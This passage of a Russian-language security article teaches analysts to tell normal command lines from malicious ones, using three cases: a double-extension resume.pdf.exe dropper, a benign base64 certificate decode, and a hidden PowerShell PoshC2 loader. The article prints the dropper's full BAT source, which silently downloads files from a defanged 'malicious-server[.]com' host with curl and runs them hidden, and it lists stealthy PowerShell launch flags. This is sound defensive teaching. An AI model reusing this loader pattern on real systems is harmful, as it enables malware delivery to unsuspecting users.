/private/tmp— временная директория, обычно очищается при перезагрузке,/tmp— символическая ссылка на нее./private/var/tmp— используется для временного хранения данных, которые не очищаются между перезагрузками,/var/tmp— символическая ссылка на нее./Users/Shared— системная директория для общего доступа между пользователями.
Windows:
C:\Users\<username>\AppData\Local\Temp— локальное временное хранилище текущего пользователя, переменная%TEMP%.C:\Windows\Temp— системная временная папка, переменная%TMP%.C:\Users\Public— стандартный каталог для межпользовательского обмена файлами.
Рассмотрим несколько кейсов, чтобы проанализировать командные строки и разобраться, где норма, а где аномалия.
Посмотрите на эту командную строку:
C:\Windows\System32\cmd.exe /c C:\Users\o.medvedeva\Downloads\Ivan_Bizonov_UX_Designer_Resume.pdf.exe
Бросается в глаза двойное расширение файла. В основе трюка лежит настройка по умолчанию в Windows, которая помогает злоумышленникам. Система скрывает известные расширения файлов. Вот что получается:
- Настоящее имя файла:
Ivan_Bizonov_UX_Designer_Resume.pdf.exe. - Пользователь в «Проводнике» видит:
Ivan_Bizonov_UX_Designer_Resume.pdf. - Иконка файла при этом подменена и соответствует первому заявленному расширению (
.pdf).
Как это выглядит в «Проводнике»:


Что больше всего демаскирует файл? Его тип — приложение. Но далеко не все пользователи обращают на это внимание. К тому же отображение может быть настроено иначе:

Тип файла также можно увидеть в «Свойствах»:

Пользователь думает, что открывает PDF‑файл, а на самом деле запускает исполняемый файл.
Проанализируем файл в Resource Hacker. Внимание привлекает раздел RCDATA с ресурсом TEMP: если его открыть, виден исходный BAT‑файл.

Это классический пример вредоносного загрузчика. Его основная задача — скачать и запустить на компьютере жертвы вредоносные компоненты с удаленного сервера.
Что делает этот BAT‑файл
1. Подготовка.
@echo off setlocal enabledelayedexpansion cd /d %TEMP%
Первая строка отключает эхо‑вывод. В консоли не будут отображаться сами вводимые команды. Затем включается отложенное раскрытие переменных, чтобы обновить их значения. Самое интересное — смена текущей директории на %TEMP% пользователя. Все последующие файлы будут созданы именно в этой директории.
2. Генерация случайных имен — главная особенность обхода защиты.
set "chars=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
set "base_name="
for /L %%i in (1,1,8) do (
set /a "rand_index=!RANDOM! %% 36"
for %%j in (!rand_index!) do (
set "base_name=!base_name!!chars:~%%j,1!"
)
)
Используется встроенная переменная Windows %RANDOM%, которая дает псевдослучайные числа от 0 до 32 767. Далее берется остаток ( %% 36 ), что дает числа в диапазоне 0–35. Число является индексом и сопоставляется с порядковым номером символа в строке алфавита.
Почему это характерно для вредоносов:
- Обход сигнатурных детектов: средства защиты могут использовать сигнатуры имен файлов для обнаружения угроз.
- Маскировка среди легитимных процессов: некоторые легитимные установщики также используют псевдослучайные последовательности в именах файлов.
- Усложнение анализа и отслеживания: невозможно идентифицировать файл только по названию, оно каждый раз уникально.
- Уникальность: злоумышленники могут генерировать уникальное имя для каждой жертвы или для каждой рассылки, например, чтобы отслеживать, какая фишинговая рассылка сработала.
3. Загрузка вредоносных компонентов.
curl -s -o "!base_name!_main.exe" "hXXp://malicious-server[.]com/update.exe" curl -s -o "!base_name!_module1.dll" "hXXp://malicious-server[.]com/module1.dll" curl -s -o "!base_name!_module2.dll" "hXXp://malicious-server[.]com/module2.dll" curl -s -o "!base_name!_config.dat" "hXXp://malicious-server[.]com/config.dat"
Домен malicious-server[.]com, по информации из открытых источников, является вредоносным и связанным с фишинговыми рассылками.
-s = —silent — включает «тихий режим». Отключается вся выводимая информация:
- прогресс-бар загрузки,
- сообщения об ошибках,
- статистика скорости и времени,
- любые информационные сообщения.
Каждый файл получает уникальное имя, например:
A5F9K2J8_main.exe Z3B7M1X4_module1.dll 8R2T6Y9Q_config.dat L4P9S2V7_module2.dll
4. Запуск вредоносной нагрузки.
start "" "!base_name!_main.exe" "!base_name!_module1.dll" "!base_name!_module2.dll" "!base_name!_config.dat" >nul 2>&1
В основной исполняемый файл в качестве аргументов передаются DLL‑библиотеки и конфигурационный файл. Разберем конструкцию:
>nul 2>&1
Здесь происходит перенаправление потока вывода (STDOUT) в nul. Это виртуальное устройство — аналог черной дыры. Поглощает всю поступающую информацию и ничего не возвращает. Также происходит перенаправление потока ошибок (STDERR) в тот же поток, что и STDOUT. То есть в nul. Эффект: пользователь не видит никаких признаков запуска.
Вердикт
Исходная командная строка вредоносна. Пользователь практически ничего не увидит: терминал откроется и мигнет, окно командной строки не покажет никакой информации и почти сразу закроется. У пользователя, вероятнее всего, создастся впечатление, что файл не открылся, потому что поврежден. Подобные атаки часто проводят на HR- и другие подразделения, где контакт с внешними файлами — ежедневная практика.
Рассмотрим такой код:
echo LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUZqRENDQTNTZ0F3SUJBZ0lRZng4c2tDNkQwT08yK3p2dVI0dGVnREFOQmdrcWhraUc5dzBCQVFzRkFEQk0KTVNBd0hnWURWUVFMRXhkSGJHOWlZV3hUYVdkdUlGSnZiM1FnUTBFZ0xTQlNOakVUTUJFR0ExVUVDaE1LUjJ4dgpZbUZzVTJsbmJqRVRNQkVHQTFVRUF4TUtSMnh2WW1Gc1UybG5iakFlRncweU16QTNNVGt3TXpRek1qVmFGdzB5Ck5qQTNNVGt3TURBd01EQmFNRlV4Q3pBSkJnTlZCQVlUQWtKRk1Sa3dGd1lEVlFRS0V4QkhiRzlpWVd4VGFXZHUKSUc1MkxYTmhNU3N3S1FZRFZRUURFeUpIYkc5aVlXeFRhV2R1SUVkRFF5QlNOaUJCYkhCb1lWTlRUQ0JEUVNBeQpNREl6TUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEwMEp2azVBRHBwTzByZ0RuCmoxTTE0WEliMDMyQWFzNDA5SkpGQWI4Y1VqaXBGT3RoN3lTTGRhV0xlM3M2M29TczV4M2VXd3pUcFg0QkZreloKYnhUMWVvSlNIZlQyTTB3WjVRT1BjQ0lqc3IrWUI4VEF2VjJ5SlN5cStlbVJyTi9GdGdDU1RhV1hTSjVqaXBXOApTSi9WQXVYUE16dUFQMnlZcHVQY2pqUTVHeXJzc0RYZ3UrRmh0WXhxeUZQN0JTdng5alFoaDVRVjV6aEx5Y3VhCm44bitKMFV3MDlXUlFLNkpHUTVIekRaUWlua05lbCtmWlpOUkcxZ0U5UWVoK3RIQnBscmthbEIxZzg1cUprUE8KSjdTb0V2S3NtRGthamdnay9zU3E3TlB5ekZhYS9WQkdaaVJSRytGa3hDQm5pR0Q1NjE4UFE0dHJjd0h5TW9qUwpGT2JPSFFJREFRQUJvNElCWHpDQ0FWc3dEZ1lEVlIwUEFRSC9CQVFEQWdHR01CMEdBMVVkSlFRV01CUUdDQ3NHCkFRVUZCd01CQmdnckJnRUZCUWNEQWpBU0JnTlZIUk1CQWY4RUNEQUdBUUgvQWdFQU1CMEdBMVVkRGdRV0JCUzkKQmJmemlwTThjOHQ1K2crRkVxRjNsaGlSZERBZkJnTlZIU01FR0RBV2dCU3ViQVdqa3hQaW91ZmkxeHpXeC9CLwp5R2RUb0RCN0JnZ3JCZ0VGQlFjQkFRUnZNRzB3TGdZSUt3WUJCUVVITUFHR0ltaDBkSEE2THk5dlkzTndNaTVuCmJHOWlZV3h6YVdkdUxtTnZiUzl5YjI5MGNqWXdPd1lJS3dZQkJRVUhNQUtHTDJoMGRIQTZMeTl6WldOMWNtVXUKWjJ4dlltRnNjMmxuYmk1amIyMHZZMkZqWlhKMEwzSnZiM1F0Y2pZdVkzSjBNRFlHQTFVZEh3UXZNQzB3SzZBcApvQ2VHSldoMGRIQTZMeTlqY213dVoyeHZZbUZzYzJsbmJpNWpiMjB2Y205dmRDMXlOaTVqY213d0lRWURWUjBnCkJCb3dHREFJQmdabmdRd0JBZ0V3REFZS0t3WUJCQUdnTWdvQkF6QU5CZ2txaGtpRzl3MEJBUXNGQUFPQ0FnRUEKZk1ra01vNWc0bW4xZnQ0ZDR4UjJrSHpZcER1a2hDMVhZUHdmU1pOM0E5bkVCYWRqZEtaTUg3aXVTMXZGOHVTYwpnMjYvMzBEUlBlbjJmRlJzcjY2MkVDeVVDUjRPZmVpaUdOZG9RdmNlc005WHBldzNITFFQNHFIZytzNzc0aE5MCnZHUkQ0YUtTS3dGcUxNcmNxQ3c2dEVBZlg5OXRGV3NENGp6YkM2azh0alNMekVsMGZUVWxma0phV3B2TFZrcGcKOWV0OHREOGQ1MWJ5bUNnNUo2SjZ3Y1hwbXNTR25rc0JvYmFjMStuWG1nQjdqUUM5ZWRVOFo0MUZGbzg3QlYzawpDdHJXV3Nka1Fhdk9iTXNYVVBsL0FPOHkvak91QVd6MHd5dlBuS29tK282VzR2S0RZNi82WFB5cE5kZWJPSjZtCmp5YUlMcDBxdW9RdmhqeDg3QnpFTmg1czU3QUlPeUlHcFMwc0RFQ2hWRFB6TEVmUnNIMkZKOC9XNXdvRjBudnMKQlRxZllTQ3FibFFiSGVERHRDajdNbGY4SmZxYU11cWNiRTRyTVN5ZmVIeUNkWlF3bmMvcjl1am50aDY5MUFKaAp4eVllQ00wNG1ldEpJZTdjQjZkNGRGbStQZDVlcnZZNHgzMnIwdVExUTBzcHkxVmpOcVVKanVzc1l1WE55TW1GCkhTdUxRUTZQcmVQbUg1bGNTTVFwWUt6UG9EL1JpTlZEL1BLME8zdnVPNXZoM283b0tiMUZmem9hbkRzRkZUcncKMGFMT2RSVy90bUxQV1ZOVmxBYjhhZCtCODBZSnNMNEhYWW5RRzh3WUFGYjhMaHdTRHlUOXYrQzFDMWxjSUhFNwpuRTBBQXA5SlNIeERZc21hOXBpNGcwUGhnM0JnT20yZXVUUnp3N1IwU3pVPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0t | base64 -d > cert.pem
Команда декодирует данные в формате Base64 и сохраняет их в файл cert.pem:

Содержимое файла cert.pem — это SSL‑сертификат от GlobalSign:
- Издатель: GlobalSign Root CA—R6.
- Субъект: GlobalSign GCC R6 AlphaSSL CA 2023.
- Срок действия: с 19 июля 2023 г. до 19 июля 2026 г.
- Публичный ключ: RSA‑алгоритм.
Сам по себе сертификат не содержит приватных ключей и не представляет угрозы. Это публичный документ, который сервер предъявляет браузеру при установке безопасного соединения.
И это не единственный легитимный пример. Практическое применение Base64 выходит далеко за рамки работы с сертификатами. Этот кодировщик давно стал незаменимым инструментом в арсенале администратора, так как решает конфликт специальных символов в системах управления конфигурациями, таких как Ansible, и на платформах мониторинга вроде Zabbix.
Аналогично в Kubernetes: все секреты (secrets) по умолчанию хранятся в Base64, что обеспечивает безопасную передачу бинарных данных через YAML‑манифесты без риска их повреждения. На практике сценариев легитимного использования Base64 значительно больше.
Вердикт
Эта команда не вредоносная. Обнаружение операций с Base64 в командной строке — это распространенная практика администрирования, а не однозначный признак вредоносной активности. Ключевой принцип: любые манипуляции с кодированными данными требуют обязательного декодирования и анализа содержимого, чтобы понять смысл выполняемых действий.
Рассмотрим код:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -NonInteractive -File C:\Users\Public\check_old_users.ps1
На первый взгляд, это обычный запуск PowerShell‑скрипта. Но совокупность параметров говорит, что кто‑то постарался сделать его выполнение максимально незаметным и беспрепятственным. Разберем каждый ключ, чтобы понять их общую цель:
| Ключ | Аргумент | Что делает | Зачем |
|---|---|---|---|
| -WindowStyle Hidden |
— |
Управляет видимостью консольного окна |
Пользователь не увидит мелькания консоли. Скрипт работает абсолютно невидимо в фоновом режиме |
| -NonInteractive |
— |
Запускает сеанс в неинтерактивном режиме |
Скрипт не может и не будет запрашивать ввод данных от пользователя, показывать промпты или диалоги. Это необходимо для полной автоматизации, но также исключает любое взаимодействие с жертвой |
| -NoProfile |
— |
Запрещает загрузку профилей PowerShell пользователя. В профилях могут храниться пользовательские алиасы, функции и переменные |
Это не всегда злонамеренно. Параметр ускоряет запуск и обеспечивает чистое, предсказуемое окружение, исключая потенциальные конфликты с настройками пользователя. Но в сочетании с другими ключами это усиливает общую картину скрытного выполнения |
| -File |
|
Указывает путь к исполняемому скрипту |
Путь |
| -ExecutionPolicy |
Bypass |
Политика выполнения — определяет, какие скрипты можно запускать. По умолчанию выполнение неподписанных скриптов запрещено |
Bypass снимает ограничение на время выполнения команды. Скрипт запустится в любом случае, независимо от его происхождения или цифровой подписи. Это также красный флаг |
Политики выполнения могут быть такими:
| Политика | Описание |
|---|---|
| Restricted |
Запрет запуска любых скриптов |
| AllSigned |
Разрешены только скрипты с цифровой подписью от доверенного издателя |
| RemoteSigned |
Локальные скрипты можно запускать, удаленные — только с подписью |
| Unrestricted |
Нет никаких ограничений, но при запуске удаленных скриптов отображается предупреждение |
| Bypass |
Скрипты выполняются без каких-либо ограничений или предупреждений |
| Undefined |
Политика не задана на этом уровне |
Cтоит иметь в виду, что PowerShell применяет политики в определенном порядке в соответствии с областью действия:
| Область действия | Где хранится значение |
|---|---|
| Process (текущий сеанс PowerShell) |
Переменная окружения |
| CurrentUser (текущий пользователь) |
|
| LocalMachine (для всей системы) |
|
Если для области действия установлено значение Undefined, проверяется значение вышестоящей области действия. Если для всей системы установлено значение Undefined, то для клиентских версий Windows по умолчанию применяется политика Restricted, а для серверных — RemoteSigned.
Итак, мы имеем дело с командой, которая старается скрыть свое выполнение. Совокупность этих параметров — классический портрет если не злонамеренной активности, то чего‑то подозрительного.
Что делать дальше? Первое, что приходит в голову, — выгрузить этот скрипт и построчно разобрать, что он делает. Но прежде стоит поискать упоминания скрипта в открытых источниках.
Признаки, на которые стоит смотреть в первую очередь:
1. Комментарии (#). Самый простой и часто упускаемый источник информации. В них можно найти:
- Назначение скрипта: авторы часто оставляют описание в шапке.
- Инструкции по использованию: параметры запуска, примеры вызова.
- Ссылки на источники: URL репозиториев, блогов или форумов, откуда был взят код.
- Закомментированные команды: иногда закомментированные функциональные возможности раскрывают истинные намерения скрипта лучше, чем рабочий код.
2. Имена переменных ($). Это мощный идентификатор. Уникальные или подозрительные названия позволяют однозначно идентифицировать скрипт или опознать его назначение даже без полного разбора кода. Пример:
- Криптовалютные майнеры:
$miner,$pool,$wallet. - Загрузчики:
$downloader,$psdownloader,$payload_url. - Модули повышения привилегий:
$adjPriv,$elevate.
3. Закодированные и обфусцированные строки. Стоит обращать внимание на функции FromBase64String и переменные, которые в них передаются.
4. Хеш‑сумма. Это абсолютный идентификатор.
Вбивайте хеш файла в поисковик. Проверяйте репутацию файла с помощью специализированных сервисов, например VirusTotal.
Рассмотрим содержимое скрипта check_old_users.ps1 из нашего примера. Вот его первые строки. Что бросается в глаза?

Комментарий содержит ссылку на исходный код на GitHub, а также явные указания на PoshC2. Переменная выдает назначение файла — это загрузчик. Этих признаков уже более чем достаточно, чтобы признать вредоносность.
Разберем дополнительно содержимое закодированной строки:

Это исполняемый файл. Посмотрим на строки. Возможно, есть характерные паттерны:

Строка PoshWebRequest похожа на уникальный паттерн. Проверим:

Так и есть. Первая ссылка — статья с конференции SSTIC 2024. Вторая — ссылка на репозиторий.
Вердикт
Эта командная строка однозначно свидетельствует о вредоносной активности. За безобидным именем файла check_old_users.ps1 скрывается установщик PoshC2. Это свидетельствует о высокой вероятности компрометации системы с применением фреймворка удаленного управления (Command & Control).
Чтобы анализировать командные строки, необходимо понимание логики и внимательность к аномалиям. Мы рассмотрели основные признаки подозрительных команд. Теперь ваша задача — отработать эти знания на практике. Начните с анализа логов вашего собственного окружения, проверьте признаки и поэкспериментируйте с инструментами вроде CyberChef. Постепенно вы выработаете собственную систему оценки и научитесь быстрее отделять норму от аномалии.
В помощь — рецепты CyberChef, которые упоминались в статье:
| Описание | Рецепт CyberChef |
|---|---|
| Автоматическое определение алгоритма преобразования строки к исходному формату | |
| Базовое декодирование | |
| Конвертация hex-строки в исходный формат | |
| Распаковка сжатых данных | |
| Определение формата после распаковки | |
| Поиск читаемых строк в данных после распаковки | |
| Определение хеш-суммы распакованных данных | |
| Извлечение IP-адресов из логов | |
| Извлечение доменов из логов | |
| Анализ доменных имен — поиск отличий между легитимным доменом и обнаруженным в логах | |
| Определение, в каких командах найдено упоминание IP-адреса или домена |